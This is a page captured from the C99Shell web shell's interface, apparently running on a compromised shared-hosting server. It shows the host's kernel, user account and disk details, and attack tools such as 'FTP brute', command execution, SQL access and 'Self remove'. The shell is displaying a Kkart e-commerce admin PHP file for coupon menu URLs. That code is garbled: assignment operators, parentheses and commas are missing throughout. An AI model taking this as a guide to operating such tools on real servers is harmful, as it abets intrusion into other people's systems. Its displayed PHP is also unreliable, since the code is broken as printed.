!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-admin/src/Features/   drwxr-xr-x
Free 293 GB of 429.69 GB (68.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CouponsMovedTrait.php (2.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * A Trait to help with managing the legacy coupon menu.
 */

namespace Automattic\Kkart\Admin\Features;

use 
Automattic\Kkart\Admin\Loader;

/**
 * CouponsMovedTrait trait.
 */
trait CouponsMovedTrait {

    
/**
     * The GET query key for the legacy menu.
     *
     * @var string
     */
    
protected static $query_key 'legacy_coupon_menu';

    
/**
     * The key for storing an option in the DB.
     *
     * @var string
     */
    
protected static $option_key 'kkart_admin_show_legacy_coupon_menu';

    
/**
     * Get the URL for the legacy coupon management.
     *
     * @return string The unescaped URL for the legacy coupon management page.
     */
    
protected static function get_legacy_coupon_url() {
        return 
self::get_coupon_url( [ self::$query_key => true ] );
    }

    
/**
     * Get the URL for the coupon management page.
     *
     * @param array $args Additional URL query arguments.
     *
     * @return string
     */
    
protected static function get_coupon_url$args = [] ) {
        
$args array_merge(
            [
                
'post_type' => 'shop_coupon',
            ],
            
$args
        
);

        return 
add_query_arg$argsadmin_url'edit.php' ) );
    }

    
/**
     * Get the new URL for managing coupons.
     *
     * @param string $page The management page.
     *
     * @return string
     */
    
protected static function get_management_url$page ) {
        
$path '';
        switch ( 
$page ) {
            case 
'coupon':
            case 
'coupons':
                return 
self::get_coupon_url();

            case 
'marketing':
                
$path self::get_marketing_path();
                break;
        }

        return 
"kkart-admin&path={$path}";
    }

    
/**
     * Get the KKART Admin path for the marking page.
     *
     * @return string
     */
    
protected static function get_marketing_path() {
        return 
'/marketing/overview';
    }

    
/**
     * Whether we should display the legacy coupon menu item.
     *
     * @return bool
     */
    
protected static function should_display_legacy_menu() {
        return ( 
get_optionself::$option_key) && ! Loader::is_feature_enabled'navigation' ) );
    }

    
/**
     * Set whether we should display the legacy coupon menu item.
     *
     * @param bool $display Whether the menu should be displayed or not.
     */
    
protected static function display_legacy_menu$display false ) {
        
update_optionself::$option_key$display );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0041 ]--